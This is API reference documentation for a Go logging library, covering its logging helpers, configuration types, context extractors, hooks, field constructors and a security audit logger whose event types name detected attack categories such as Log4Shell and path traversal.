func LogfCtx added in v1.2.0

func LogfCtx(ctx context.Context, level LogLevel, format string, args ...any)

LogfCtx logs a formatted message at the specified level with context using the default logger.

func Must2 added in v1.2.0

func Must2[T1 any, T2 any](val1 T1, val2 T2, err error) (T1, T2)

Must2 is a generic helper for functions returning two values and an error. Panics if err is not nil, otherwise returns both values.

Example:

file, writer := dd.Must2(dd.SomeFunctionReturningTwoValues())

func MustVal added in v1.2.0

func MustVal[T any](val T, err error) T

MustVal is a generic helper that panics if err is not nil, otherwise returns val. This is useful for simplifying initialization code where errors should be fatal. For creating loggers, prefer using dd.Must() or dd.MustToFile() instead.

Example:

// Instead of:
writer, err := dd.NewBufferedWriter(file)
if err != nil {
    panic(err)
}

// Use:
writer := dd.MustVal(dd.NewBufferedWriter(file))

// Also works with other return-value-and-error functions:
file := dd.MustVal(os.Open("file.txt"))

func Print added in v1.0.6

func Print(args ...any)

Print writes to the default logger's configured writers using LevelInfo. This is a convenience function equivalent to Default().Print(). Applies sensitive data filtering based on SecurityConfig.

func Printf added in v1.0.6

func Printf(format string, args ...any)

Printf formats according to a format specifier and writes to the default logger's configured writers. Uses LevelInfo for filtering. Applies sensitive data filtering based on SecurityConfig.

func Println added in v1.0.6

func Println(args ...any)

Println writes to the default logger's configured writers with a newline. Uses LevelInfo for filtering. Applies sensitive data filtering. Note: Behaves identically to Print() because the underlying Log() already adds a newline.

func RemoveWriter added in v1.2.0

func RemoveWriter(writer io.Writer) error

RemoveWriter removes a writer from the default logger.

func SetDefault

func SetDefault(logger *Logger)

SetDefault sets the default global logger (thread-safe). If a previous default logger exists, it is safely closed in background. Passing nil is ignored (no change).

func SetLevel

func SetLevel(level LogLevel)

SetLevel sets the log level for the default logger.

func SetSampling added in v1.2.0

func SetSampling(config *SamplingConfig)

SetSampling sets the sampling configuration for the default logger.

func Text added in v1.0.2

func Text(data ...any)

Text outputs data as pretty-printed format to stdout for debugging.

func Textf added in v1.0.3

func Textf(format string, args ...any)

Textf outputs formatted data as pretty-printed format to stdout for debugging.

func Warn

func Warn(args ...any)

func WarnCtx added in v1.2.0

func WarnCtx(ctx context.Context, args ...any)

WarnCtx logs a warning message with context support using the default logger.

func WarnWith

func WarnWith(msg string, fields ...Field)

WarnWith logs a structured warning message with the default logger.

func WarnWithCtx added in v1.2.0

func WarnWithCtx(ctx context.Context, msg string, fields ...Field)

WarnWithCtx logs a structured warning message with context support using the default logger.

func Warnf

func Warnf(format string, args ...any)

func WarnfCtx added in v1.2.0

func WarnfCtx(ctx context.Context, format string, args ...any)

WarnfCtx logs a formatted warning message with context support using the default logger.

func WithRequestID added in v1.2.0

func WithRequestID(ctx context.Context, requestID string) context.Context

WithRequestID adds a request ID to the context. This is the type-safe way to store request IDs that will be automatically extracted by the logger's context extractors.

Example:

ctx := dd.WithRequestID(context.Background(), "req-789")
logger.InfoCtx(ctx, "processing request") // Will include request_id field

func WithSpanID added in v1.2.0

func WithSpanID(ctx context.Context, spanID string) context.Context

WithSpanID adds a span ID to the context. This is the type-safe way to store span IDs that will be automatically extracted by the logger's context extractors.

Example:

ctx := dd.WithSpanID(context.Background(), "span-456")
logger.InfoCtx(ctx, "processing request") // Will include span_id field

func WithTraceID added in v1.2.0

func WithTraceID(ctx context.Context, traceID string) context.Context

WithTraceID adds a trace ID to the context. This is the type-safe way to store trace IDs that will be automatically extracted by the logger's context extractors.

Example:

ctx := dd.WithTraceID(context.Background(), "trace-123")
logger.InfoCtx(ctx, "processing request") // Will include trace_id field

func WriterCount added in v1.2.0

func WriterCount() int

WriterCount returns the number of writers in the default logger.

Types

type AuditConfig added in v1.2.0

type AuditConfig struct {
	// Enabled determines if audit logging is enabled.
	Enabled bool
	// Output is the destination for audit logs.
	// If nil, audit events are only available via the Events channel.
	Output *os.File
	// BufferSize is the size of the async event buffer.
	// Default: 1000 events
	BufferSize int
	// IncludeTimestamp determines if timestamps are included.
	IncludeTimestamp bool
	// JSONFormat determines if output should be JSON formatted.
	JSONFormat bool
	// MinimumSeverity is the minimum severity level to log.
	MinimumSeverity AuditSeverity
	// IntegritySigner provides optional integrity protection for audit logs.
	// When configured, each audit event is signed to detect tampering.
	IntegritySigner *IntegritySigner
}

AuditConfig configures the audit logger.

func DefaultAuditConfig added in v1.2.0

func DefaultAuditConfig() *AuditConfig

DefaultAuditConfig returns an AuditConfig with sensible defaults. Note: Audit logging is enabled by default for security monitoring.

func (*AuditConfig) Clone added in v1.2.0

func (c *AuditConfig) Clone() *AuditConfig

Clone creates a copy of the AuditConfig. Note: IntegritySigner is shared (not cloned) as it maintains internal state.

type AuditEvent added in v1.2.0

type AuditEvent struct {
	// Type is the type of audit event.
	Type AuditEventType `json:"type"`
	// Timestamp is when the event occurred.
	Timestamp time.Time `json:"timestamp"`
	// Message is a human-readable description of the event.
	Message string `json:"message"`
	// Pattern is the regex pattern that triggered the event (if applicable).
	Pattern string `json:"pattern,omitempty"`
	// Field is the field name that triggered the event (if applicable).
	Field string `json:"field,omitempty"`
	// Metadata contains additional context about the event.
	Metadata map[string]any `json:"metadata,omitempty"`
	// Severity indicates the severity level of the event.
	Severity AuditSeverity `json:"severity"`
}

AuditEvent represents a security audit event.

type AuditEventType added in v1.2.0

type AuditEventType int

AuditEventType represents the type of security audit event.

const (
	// AuditEventSensitiveDataRedacted is logged when sensitive data is redacted.
	AuditEventSensitiveDataRedacted AuditEventType = iota
	// AuditEventRateLimitExceeded is logged when rate limiting is triggered.
	AuditEventRateLimitExceeded
	// AuditEventReDoSAttempt is logged when a potential ReDoS pattern is detected.
	AuditEventReDoSAttempt
	// AuditEventSecurityViolation is logged for general security violations.
	AuditEventSecurityViolation
	// AuditEventIntegrityViolation is logged when log integrity verification fails.
	AuditEventIntegrityViolation
	// AuditEventInputSanitized is logged when input is sanitized.
	AuditEventInputSanitized
	// AuditEventPathTraversalAttempt is logged when path traversal is detected.
	AuditEventPathTraversalAttempt
	// AuditEventLog4ShellAttempt is logged when Log4Shell pattern is detected.
	AuditEventLog4ShellAttempt
	// AuditEventNullByteInjection is logged when null byte injection is detected.
	AuditEventNullByteInjection
	// AuditEventOverlongEncoding is logged when UTF-8 overlong encoding is detected.
	AuditEventOverlongEncoding
	// AuditEventHomographAttack is logged when homograph attack is detected.
	AuditEventHomographAttack
)

func (AuditEventType) String added in v1.2.0

func (e AuditEventType) String() string

String returns the string representation of the audit event type.

type AuditLogger added in v1.2.0

type AuditLogger struct {
	// contains filtered or unexported fields
}

AuditLogger logs security audit events asynchronously. It uses a buffered channel for event processing to avoid blocking the hot path in the logger.

func NewAuditLogger added in v1.2.0

func NewAuditLogger(configs ...*AuditConfig) *AuditLogger

NewAuditLogger creates a new AuditLogger with the given configuration. If no configuration is provided, DefaultAuditConfig() is used.

func (*AuditLogger) Close added in v1.2.0

func (al *AuditLogger) Close() error

Close stops the audit logger and flushes remaining events.

func (*AuditLogger) Log added in v1.2.0

func (al *AuditLogger) Log(event AuditEvent)

Log records an audit event asynchronously. If the buffer is full, the event is dropped and the dropped counter is incremented.

func (*AuditLogger) LogIntegrityViolation added in v1.2.0

func (al *AuditLogger) LogIntegrityViolation(message string, metadata map[string]any)

LogIntegrityViolation logs an integrity violation event.

func (*AuditLogger) LogPathTraversalAttempt added in v1.2.0

func (al *AuditLogger) LogPathTraversalAttempt(path, message string)

LogPathTraversalAttempt logs a path traversal attempt event.

func (*AuditLogger) LogRateLimitExceeded added in v1.2.0

func (al *AuditLogger) LogRateLimitExceeded(message string, metadata map[string]any)

LogRateLimitExceeded logs a rate limit exceeded event.

func (*AuditLogger) LogReDoSAttempt added in v1.2.0

func (al *AuditLogger) LogReDoSAttempt(pattern, message string)

LogReDoSAttempt logs a ReDoS attempt event.

func (*AuditLogger) LogSecurityViolation added in v1.2.0

func (al *AuditLogger) LogSecurityViolation(violationType string, message string, metadata map[string]any)

LogSecurityViolation logs a security violation event.

func (*AuditLogger) LogSensitiveDataRedaction added in v1.2.0

func (al *AuditLogger) LogSensitiveDataRedaction(pattern, field, message string)

LogSensitiveDataRedaction logs a sensitive data redaction event.

func (*AuditLogger) Stats added in v1.2.0

func (al *AuditLogger) Stats() AuditStats

Stats returns current audit logger statistics.

type AuditSeverity added in v1.2.0

type AuditSeverity int

AuditSeverity represents the severity level of an audit event.

const (
	// AuditSeverityInfo is for informational events.
	AuditSeverityInfo AuditSeverity = iota
	// AuditSeverityWarning is for warning events.
	AuditSeverityWarning
	// AuditSeverityError is for error events.
	AuditSeverityError
	// AuditSeverityCritical is for critical security events.
	AuditSeverityCritical
)

func (AuditSeverity) MarshalJSON added in v1.2.0

func (s AuditSeverity) MarshalJSON() ([]byte, error)

MarshalJSON implements json.Marshaler for AuditSeverity.

func (AuditSeverity) String added in v1.2.0

func (s AuditSeverity) String() string

String returns the string representation of the audit severity.

type AuditStats added in v1.2.0

type AuditStats struct {
	TotalEvents int64                    // Total events logged
	Dropped     int64                    // Events dropped due to full buffer
	ByType      map[AuditEventType]int64 // Events by type
	BufferSize  int                      // Configured buffer size
	BufferUsage int                      // Current buffer usage
}

AuditStats holds audit logger statistics.

type AuditVerificationResult added in v1.2.0

type AuditVerificationResult struct {
	// Valid indicates if the signature is valid.
	Valid bool
	// Event is the parsed audit event (if valid JSON).
	Event *AuditEvent
	// RawEvent is the raw event string without signature.
	RawEvent string
	// Error contains any error encountered during verification.
	Error error
}

AuditVerificationResult contains the result of audit event verification.

func VerifyAuditEvent added in v1.2.0

func VerifyAuditEvent(entry string, signer *IntegritySigner) *AuditVerificationResult

VerifyAuditEvent verifies the integrity of an audit log entry. Returns the verification result including the parsed event if valid.

type BufferedWriter

type BufferedWriter struct {
	// contains filtered or unexported fields
}

BufferedWriter wraps an io.Writer with buffering capabilities. It automatically flushes when the buffer reaches a certain size or after a timeout.

IMPORTANT: Always call Close() when done to ensure all buffered data is flushed. Failure to call Close() may result in data loss.

func NewBufferedWriter

func NewBufferedWriter(w io.Writer, bufferSizes ...int) (*BufferedWriter, error)

NewBufferedWriter creates a new BufferedWriter with the specified buffer size. The writer automatically flushes when the buffer is half full or every 100ms. Remember to call Close() to ensure all buffered data is written to the underlying writer. If bufferSize is not specified or is 0, DefaultBufferSizeKB (4KB) is used.

func (*BufferedWriter) Close

func (bw *BufferedWriter) Close() error

func (*BufferedWriter) Flush

func (bw *BufferedWriter) Flush() error

func (*BufferedWriter) Write

func (bw *BufferedWriter) Write(p []byte) (int, error)

type Config added in v1.2.0

type Config struct {
	// Log level
	Level LogLevel

	// Output format
	Format LogFormat

	// Time settings
	TimeFormat   string
	IncludeTime  bool
	IncludeLevel bool

	// Caller information
	DynamicCaller bool
	FullPath      bool

	// Output targets
	Output  io.Writer   // Single output writer
	Outputs []io.Writer // Multiple output writers
	File    *FileConfig // File output configuration

	// JSON configuration
	JSON *JSONOptions

	// Security configuration
	Security *SecurityConfig

	// Field validation configuration
	FieldValidation *FieldValidationConfig

	// Lifecycle handlers
	FatalHandler      FatalHandler
	WriteErrorHandler WriteErrorHandler

	// Extensibility
	ContextExtractors []ContextExtractor
	Hooks             *HookRegistry
	Sampling          *SamplingConfig
}

Config provides a struct-based configuration API for creating loggers. Direct field modification with IDE autocomplete support.

Example:

cfg := dd.DefaultConfig()
cfg.Format = dd.FormatJSON
cfg.Level = dd.LevelDebug
logger, _ := dd.New(cfg)

func DefaultConfig

func DefaultConfig() *Config

DefaultConfig creates a new Config with default settings.

Example:

cfg := dd.DefaultConfig()
cfg.Level = dd.LevelDebug
cfg.Format = dd.FormatJSON
logger, _ := dd.New(cfg)

func DevelopmentConfig

func DevelopmentConfig() *Config

DevelopmentConfig creates a Config with development-friendly settings. Enables DEBUG level and dynamic caller detection. Note: Security filtering is enabled by default even in development mode to catch accidental logging of sensitive data early in the development cycle.

Example:

cfg := dd.DevelopmentConfig()
cfg.File = &dd.FileConfig{Path: "dev.log"}
logger, _ := dd.New(cfg)

func JSONConfig

func JSONConfig() *Config

JSONConfig creates a Config with JSON output settings. Note: Security filtering is enabled by default to prevent sensitive data from being logged in JSON format which is often shipped to external systems.

Example:

cfg := dd.JSONConfig()
cfg.Level = dd.LevelInfo
logger, _ := dd.New(cfg)

func (*Config) Clone added in v1.2.0

func (c *Config) Clone() *Config

Clone creates a copy of the configuration.

Clone behavior:

  • Deep copy: File, JSON, Sampling, Security, Hooks configs
  • Shallow copy: Output, Outputs, FatalHandler, WriteErrorHandler, FieldValidation (io.Writer instances and function pointers are shared)
  • ContextExtractors slice is copied but extractor instances are shared

The shallow copy behavior for io.Writer is intentional since writers are typically shared resources that should not be duplicated.

Example:

base := dd.DefaultConfig()
base.Format = dd.FormatJSON

appCfg := base.Clone()
appCfg.File = &dd.FileConfig{Path: "app.log"}
logger, _ := dd.New(appCfg)

type ConfigurableLogger added in v1.2.0

type ConfigurableLogger interface {
	CoreLogger

	// Level management
	GetLevel() LogLevel
	SetLevel(level LogLevel) error

	// Writer management
	AddWriter(writer io.Writer) error
	RemoveWriter(writer io.Writer) error
	WriterCount() int

	// Lifecycle
	Flush() error
	Close() error
	IsClosed() bool

	// Configuration
	SetSecurityConfig(config *SecurityConfig)
	GetSecurityConfig() *SecurityConfig
	SetWriteErrorHandler(handler WriteErrorHandler)

	// Context extractors
	AddContextExtractor(extractor ContextExtractor) error
	MustAddContextExtractor(extractor ContextExtractor)
	SetContextExtractors(extractors ...ContextExtractor) error
	MustSetContextExtractors(extractors ...ContextExtractor)
	GetContextExtractors() []ContextExtractor

	// Hooks
	AddHook(event HookEvent, hook Hook) error
	MustAddHook(event HookEvent, hook Hook)
	SetHooks(registry *HookRegistry) error
	MustSetHooks(registry *HookRegistry)
	GetHooks() *HookRegistry

	// Sampling
	SetSampling(config *SamplingConfig)
	GetSampling() *SamplingConfig
}

ConfigurableLogger extends CoreLogger with configuration and lifecycle methods.

type ContextExtractor added in v1.2.0

type ContextExtractor func(ctx context.Context) []Field

ContextExtractor is a function that extracts logging fields from a context. This allows integration with various tracing frameworks (OpenTelemetry, Jaeger, etc.) by providing custom field extraction logic.

Example:

// OpenTelemetry trace extractor
otelExtractor := func(ctx context.Context) []Field {
    span := trace.SpanFromContext(ctx)
    if !span.SpanContext().IsValid() {
        return nil
    }
    return []Field{
        String("trace_id", span.SpanContext().TraceID().String()),
        String("span_id", span.SpanContext().SpanID().String()),
    }
}

type ContextExtractorRegistry added in v1.2.0

type ContextExtractorRegistry struct {
	// contains filtered or unexported fields
}

ContextExtractorRegistry manages a collection of context extractors. It is thread-safe and supports dynamic addition of extractors. Uses atomic.Pointer for lock-free reads.

func DefaultContextExtractorRegistry added in v1.2.0

func DefaultContextExtractorRegistry() *ContextExtractorRegistry

DefaultContextExtractorRegistry returns a singleton registry with the default extractors. The default extractors extract trace_id, span_id, and request_id from context values. This function is thread-safe and uses sync.Once for initialization.

func NewContextExtractorRegistry added in v1.2.0

func NewContextExtractorRegistry() *ContextExtractorRegistry

NewContextExtractorRegistry creates a new empty extractor registry.

func (*ContextExtractorRegistry) Add added in v1.2.0

func (r *ContextExtractorRegistry) Add(extractor ContextExtractor)

Add adds a context extractor to the registry. If the extractor is nil, it is ignored. This method is thread-safe.

func (*ContextExtractorRegistry) Clear added in v1.2.0

func (r *ContextExtractorRegistry) Clear()

Clear removes all registered extractors.

func (*ContextExtractorRegistry) Clone added in v1.2.0

Clone creates a copy of the registry with the same extractors. The extractors themselves are shared (functions are not copied).

func (*ContextExtractorRegistry) Count added in v1.2.0

func (r *ContextExtractorRegistry) Count() int

Count returns the number of registered extractors.

func (*ContextExtractorRegistry) Extract added in v1.2.0

func (r *ContextExtractorRegistry) Extract(ctx context.Context) []Field

Extract executes all registered extractors and returns the combined fields. Extractors are called in the order they were added. This method is thread-safe and uses lock-free reads.

Panic Recovery: If an extractor panics, the panic is recovered, logged to stderr, and the extractor is skipped. This ensures that a misbehaving extractor cannot crash the application.

type ContextKey added in v1.2.0

type ContextKey string

ContextKey is a type-safe key for context values. Using a custom type prevents key collisions with other packages that may also store values in context.

Example:

ctx := dd.WithTraceID(context.Background(), "abc123")
traceID := dd.GetTraceID(ctx)
const (
	// ContextKeyTraceID is the context key for trace ID.
	// This key is used by default context extractors to retrieve
	// the trace ID from context.
	ContextKeyTraceID ContextKey = "trace_id"

	// ContextKeySpanID is the context key for span ID.
	// This key is used by default context extractors to retrieve
	// the span ID from context.
	ContextKeySpanID ContextKey = "span_id"

	// ContextKeyRequestID is the context key for request ID.
	// This key is used by default context extractors to retrieve
	// the request ID from context.
	ContextKeyRequestID ContextKey = "request_id"
)

type ContextLogger added in v1.2.0

type ContextLogger interface {
	CoreLogger

	// Context-aware methods - Debug level
	DebugCtx(ctx context.Context, args ...any)
	DebugfCtx(ctx context.Context, format string, args ...any)
	DebugWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware methods - Info level
	InfoCtx(ctx context.Context, args ...any)
	InfofCtx(ctx context.Context, format string, args ...any)
	InfoWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware methods - Warn level
	WarnCtx(ctx context.Context, args ...any)
	WarnfCtx(ctx context.Context, format string, args ...any)
	WarnWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware methods - Error level
	ErrorCtx(ctx context.Context, args ...any)
	ErrorfCtx(ctx context.Context, format string, args ...any)
	ErrorWithCtx(ctx context.Context, msg string, fields ...Field)

	// Context-aware methods - Fatal level
	FatalCtx(ctx context.Context, args ...any)
	FatalfCtx(ctx context.Context, format string, args ...any)
	FatalWithCtx(ctx context.Context, msg string, fields ...Field)
}

ContextLogger extends CoreLogger with context-aware logging methods. Use this interface when you need to extract context values (trace IDs, etc.) into your log entries.

type CoreLogger added in v1.2.0

type CoreLogger interface {
	// Core logging methods - Debug level
	Debug(args ...any)
	Debugf(format string, args ...any)
	DebugWith(msg string, fields ...Field)

	// Core logging methods - Info level
	Info(args ...any)
	Infof(format string, args ...any)
	InfoWith(msg string, fields ...Field)

	// Core logging methods - Warn level
	Warn(args ...any)
	Warnf(format string, args ...any)
	WarnWith(msg string, fields ...Field)

	// Core logging methods - Error level
	Error(args ...any)
	Errorf(format string, args ...any)
	ErrorWith(msg string, fields ...Field)

	// Core logging methods - Fatal level
	Fatal(args ...any)
	Fatalf(format string, args ...any)
	FatalWith(msg string, fields ...Field)

	// Field chaining
	WithFields(fields ...Field) *LoggerEntry
	WithField(key string, value any) *LoggerEntry
}

CoreLogger defines the core logging interface with basic logging methods. This is the primary interface for basic logging operations. Use this interface for dependency injection when you only need logging methods.

type FatalHandler

type FatalHandler func()

type Field

type Field = internal.Field

Field represents a structured log field with a key-value pair. Type alias to internal.Field for API compatibility.

func Any

func Any(key string, value any) Field

Any creates a field with any value.

func Bool

func Bool(key string, value bool) Field

Bool creates a field with a bool value.

func Duration added in v1.2.0

func Duration(key string, value time.Duration) Field

Duration creates a field with a time.Duration value.

func Err

func Err(err error) Field

Err creates a field from an error. If the error is nil, the value will be nil. Otherwise, the value will be the error's message string.

func ErrWithKey added in v1.2.0

func ErrWithKey(key string, err error) Field

ErrWithKey creates a field from an error with a custom key.

func ErrWithStack added in v1.2.0

func ErrWithStack(err error) Field

ErrWithStack creates a field from an error including its stack trace. Note: Stack trace capture has a small performance overhead.

func Float32 added in v1.2.0

func Float32(key string, value float32) Field

Float32 creates a field with a float32 value.

func Float64

func Float64(key string, value float64) Field

Float64 creates a field with a float64 value.

func Int

func Int(key string, value int) Field

Int creates a field with an int value.

func Int8 added in v1.2.0

func Int8(key string, value int8) Field

Int8 creates a field with an int8 value.

func Int16 added in v1.2.0

func Int16(key string, value int16) Field

Int16 creates a field with an int16 value.

func Int32 added in v1.2.0

func Int32(key string, value int32) Field

Int32 creates a field with an int32 value.

func Int64

func Int64(key string, value int64) Field

Int64 creates a field with an int64 value.

func NamedErr added in v1.2.0

func NamedErr(key string, err error) Field

NamedErr creates a field from an error with a custom key name. This is an alias for ErrWithKey, provided for naming consistency with other field constructors like NamedError.

func String

func String(key, value string) Field

String creates a field with a string value.

func Time added in v1.2.0

func Time(key string, value time.Time) Field

Time creates a field with a time.Time value.

func Uint added in v1.2.0

func Uint(key string, value uint) Field

Uint creates a field with a uint value.

func Uint8 added in v1.2.0

func Uint8(key string, value uint8) Field

Uint8 creates a field with a uint8 value.

func Uint16 added in v1.2.0

func Uint16(key string, value uint16) Field

Uint16 creates a field with a uint16 value.

func Uint32 added in v1.2.0

func Uint32(key string, value uint32) Field

Uint32 creates a field with a uint32 value.

func Uint64 added in v1.2.0

func Uint64(key string, value uint64) Field

Uint64 creates a field with a uint64 value.

type FieldNamingConvention added in v1.2.0

type FieldNamingConvention int

FieldNamingConvention specifies the expected naming convention for field keys.

const (
	// NamingConventionAny accepts any valid field key (default).
	NamingConventionAny FieldNamingConvention = iota

	// NamingConventionSnakeCase expects field keys in snake_case format.
	// Example: user_id, first_name, created_at
	NamingConventionSnakeCase

	// NamingConventionCamelCase expects field keys in camelCase format.
	// Example: userId, firstName, createdAt
	NamingConventionCamelCase

	// NamingConventionPascalCase expects field keys in PascalCase format.
	// Example: UserId, FirstName, CreatedAt
	NamingConventionPascalCase

	// NamingConventionKebabCase expects field keys in kebab-case format.
	// Example: user-id, first-name, created-at
	NamingConventionKebabCase
)

func (FieldNamingConvention) String added in v1.2.0

func (c FieldNamingConvention) String() string

String returns the string representation of the naming convention.

type FieldValidationConfig added in v1.2.0

type FieldValidationConfig struct {
	// Mode determines how validation failures are handled.
	Mode FieldValidationMode

	// Convention specifies the expected naming convention for field keys.
	Convention FieldNamingConvention

	// AllowCommonAbbreviations allows common abbreviations like ID, URL, HTTP
	// even when they don't strictly match the naming convention.
	AllowCommonAbbreviations bool

	// EnableSecurityValidation enables strict security validation including
	// Log4Shell detection, homograph attack detection, and overlong UTF-8 checks.
	// Default: true when Mode is not FieldValidationNone
	EnableSecurityValidation bool
}

FieldValidationConfig configures field key validation.

func DefaultFieldValidationConfig added in v1.2.0

func DefaultFieldValidationConfig() *FieldValidationConfig

DefaultFieldValidationConfig returns the default field validation configuration which disables validation.

func StrictCamelCaseConfig added in v1.2.0

func StrictCamelCaseConfig() *FieldValidationConfig

StrictCamelCaseConfig returns a config for strict camelCase validation.

func StrictSnakeCaseConfig added in v1.2.0

func StrictSnakeCaseConfig() *FieldValidationConfig

StrictSnakeCaseConfig returns a config for strict snake_case validation.

func (*FieldValidationConfig) ValidateFieldKey added in v1.2.0

func (c *FieldValidationConfig) ValidateFieldKey(key string) error

ValidateFieldKey validates a field key against the configured naming convention. Returns an error describing the validation failure, or nil if valid. Security validation is always performed when Mode is not FieldValidationNone.

type FieldValidationMode added in v1.2.0

type FieldValidationMode int

FieldValidationMode determines how field key validation is performed.

const (
	// FieldValidationNone disables field key validation (default).
	// All field keys are accepted without any checks.
	FieldValidationNone FieldValidationMode = iota

	// FieldValidationWarn logs a warning for field keys that don't match
	// the configured naming convention, but still accepts them.
	FieldValidationWarn

	// FieldValidationStrict rejects field keys that don't match the configured
	// naming convention by returning an error from the logging method.
	// Note: For performance reasons, validation errors are logged rather than
	// returned from logging methods, as they don't return errors.
	FieldValidationStrict
)

func (FieldValidationMode) String added in v1.2.0

func (m FieldValidationMode) String() string

String returns the string representation of the validation mode.

type FileConfig added in v1.2.0

type FileConfig struct {
	Path       string        // Log file path
	MaxSizeMB  int           // Max file size in MB before rotation (default: 100)
	MaxBackups int           // Max number of old log files to retain (default: 10)
	MaxAge     time.Duration // Max duration to retain old log files (default: 30 days)
	Compress   bool          // Enable gzip compression for rotated files (default: false)
}

FileConfig configures file output with rotation settings.

type FileWriter

type FileWriter struct {
	// contains filtered or unexported fields
}

func NewFileWriter

func NewFileWriter(path string, opts ...FileWriterConfig) (*FileWriter, error)

func (*FileWriter) Close

func (fw *FileWriter) Close() error

func (*FileWriter) Write

func (fw *FileWriter) Write(p []byte) (int, error)

type FileWriterConfig

type FileWriterConfig struct {
	MaxSizeMB  int
	MaxAge     time.Duration
	MaxBackups int
	Compress   bool
}

func DefaultFileWriterConfig added in v1.2.0

func DefaultFileWriterConfig() FileWriterConfig

DefaultFileWriterConfig returns FileWriterConfig with sensible defaults. Default values: MaxSizeMB=100, MaxAge=30 days, MaxBackups=10, Compress=false.

type FilterStats added in v1.2.0

type FilterStats struct {
	ActiveGoroutines  int32         // Number of currently running filter goroutines
	PatternCount      int32         // Number of registered sensitive data patterns
	SemaphoreCapacity int           // Maximum concurrent filter operations
	MaxInputLength    int           // Maximum input length before truncation
	Enabled           bool          // Whether filtering is enabled
	TotalFiltered     int64         // Total number of filter operations
	TotalRedactions   int64         // Total number of redactions performed
	TotalTimeouts     int64         // Total number of timeout events
	AverageLatency    time.Duration // Average latency per filter operation
}

FilterStats holds filter statistics for monitoring and observability. This provides a snapshot of the filter's current state for health checks and performance monitoring.

type Flusher added in v1.2.0

type Flusher interface {
	Flush() error
}

Flusher is an interface for writers that can flush buffered data. Writers implementing this interface will have their Flush method called during Logger.Flush() to ensure all buffered data is written.

type HashAlgorithm added in v1.2.0

type HashAlgorithm int

HashAlgorithm defines the hash algorithm for integrity verification.

const (
	// HashAlgorithmSHA256 uses SHA-256 for HMAC signatures.
	HashAlgorithmSHA256 HashAlgorithm = iota
)

func (HashAlgorithm) String added in v1.2.0

func (a HashAlgorithm) String() string

String returns the string representation of the hash algorithm.

type Hook added in v1.2.0

type Hook func(ctx context.Context, hookCtx *HookContext) error

Hook is a function that is called during logging lifecycle events. If a BeforeLog hook returns an error, the log entry is not written. For other events, the error is logged but does not prevent the operation.

type HookBuilder added in v1.2.0

type HookBuilder struct {
	// contains filtered or unexported fields
}

HookBuilder provides a fluent interface for building hook registries.

func NewHookBuilder added in v1.2.0

func NewHookBuilder() *HookBuilder

NewHookBuilder creates a new HookBuilder with an empty registry.

func (*HookBuilder) AfterLog added in v1.2.0

func (b *HookBuilder) AfterLog(hook Hook) *HookBuilder

AfterLog adds a hook for the AfterLog event.

func (*HookBuilder) BeforeLog added in v1.2.0

func (b *HookBuilder) BeforeLog(hook Hook) *HookBuilder

BeforeLog adds a hook for the BeforeLog event.

func (*HookBuilder) Build added in v1.2.0

func (b *HookBuilder) Build() *HookRegistry

Build returns the configured HookRegistry.

func (*HookBuilder) OnClose added in v1.2.0

func (b *HookBuilder) OnClose(hook Hook) *HookBuilder

OnClose adds a hook for the OnClose event.

func (*HookBuilder) OnError added in v1.2.0

func (b *HookBuilder) OnError(hook Hook) *HookBuilder

OnError adds a hook for the OnError event.

func (*HookBuilder) OnFilter added in v1.2.0

func (b *HookBuilder) OnFilter(hook Hook) *HookBuilder

OnFilter adds a hook for the OnFilter event.

func (*HookBuilder) OnRotate added in v1.2.0

func (b *HookBuilder) OnRotate(hook Hook) *HookBuilder

OnRotate adds a hook for the OnRotate event.

type HookContext added in v1.2.0

type HookContext struct {
	// Event is the type of hook event being triggered.
	Event HookEvent

	// Level is the log level for log-related events.
	Level LogLevel

	// Message is the log message (may be empty for non-log events).
	Message string

	// Fields are the structured fields attached to the log entry (after filtering).
	Fields []Field

	// OriginalFields are the fields before sensitive data filtering.
	// This allows hooks to access the original values if needed.
	OriginalFields []Field

	// Error contains any error that occurred (for OnError events).
	Error error

	// Timestamp is when the event occurred.
	Timestamp time.Time

	// Writer is the target writer (for write-related events).
	Writer io.Writer

	// Additional metadata can be stored here.
	Metadata map[string]any
}

HookContext provides contextual information for hook execution.

type HookErrorHandler added in v1.2.0

type HookErrorHandler func(event HookEvent, hookCtx *HookContext, err error)

HookErrorHandler handles errors that occur during hook execution. This allows custom error handling strategies such as logging, metrics, or ignoring errors for non-critical hooks.

Parameters:

  • event: The hook event type that triggered the error
  • hookCtx: The context provided to the hook
  • err: The error returned by the hook

The handler should not panic. If it does, the panic will be recovered and logged to stderr.

type HookErrorInfo added in v1.2.0

type HookErrorInfo struct {
	Event     HookEvent
	Timestamp time.Time
	Error     error
	Message   string // The log message being processed (if applicable)
}

HookErrorInfo contains information about a hook error.

type HookErrorRecorder added in v1.2.0

type HookErrorRecorder struct {
	// contains filtered or unexported fields
}

HookErrorRecorder records hook errors for later inspection. This is useful for testing or monitoring hook health.

Usage:

recorder := NewHookErrorRecorder()
registry := NewHookRegistryWithErrorHandler(recorder.Handler())
// ... after hooks run ...
errors := recorder.Errors()
for _, err := range errors {
    log.Printf("Hook error: %v", err)
}

func NewHookErrorRecorder added in v1.2.0

func NewHookErrorRecorder() *HookErrorRecorder

NewHookErrorRecorder creates a new HookErrorRecorder.

func (*HookErrorRecorder) Clear added in v1.2.0

func (r *HookErrorRecorder) Clear()

Clear removes all recorded errors.

func (*HookErrorRecorder) Count added in v1.2.0

func (r *HookErrorRecorder) Count() int

Count returns the number of recorded errors.

func (*HookErrorRecorder) Errors added in v1.2.0

func (r *HookErrorRecorder) Errors() []HookErrorInfo

Errors returns all recorded errors.

func (*HookErrorRecorder) Handler added in v1.2.0

func (r *HookErrorRecorder) Handler() HookErrorHandler

Handler returns a HookErrorHandler that records errors to this recorder.

func (*HookErrorRecorder) HasErrors added in v1.2.0

func (r *HookErrorRecorder) HasErrors() bool

HasErrors returns true if any errors have been recorded.

type HookEvent added in v1.2.0

type HookEvent int

HookEvent represents the type of event that triggers a hook.

const (
	// HookBeforeLog is triggered before a log message is written.
	// Hooks can modify fields or abort logging by returning an error.
	HookBeforeLog HookEvent = iota

	// HookAfterLog is triggered after a log message is successfully written.
	HookAfterLog

	// HookOnFilter is triggered when sensitive data is filtered.
	HookOnFilter

	// HookOnRotate is triggered when a log file is rotated.
	HookOnRotate

	// HookOnClose is triggered when the logger is closed.
	HookOnClose

	// HookOnError is triggered when a write error occurs.
	HookOnError
)

func (HookEvent) String added in v1.2.0

func (e HookEvent) String() string

String returns the string representation of the hook event.

type HookRegistry added in v1.2.0

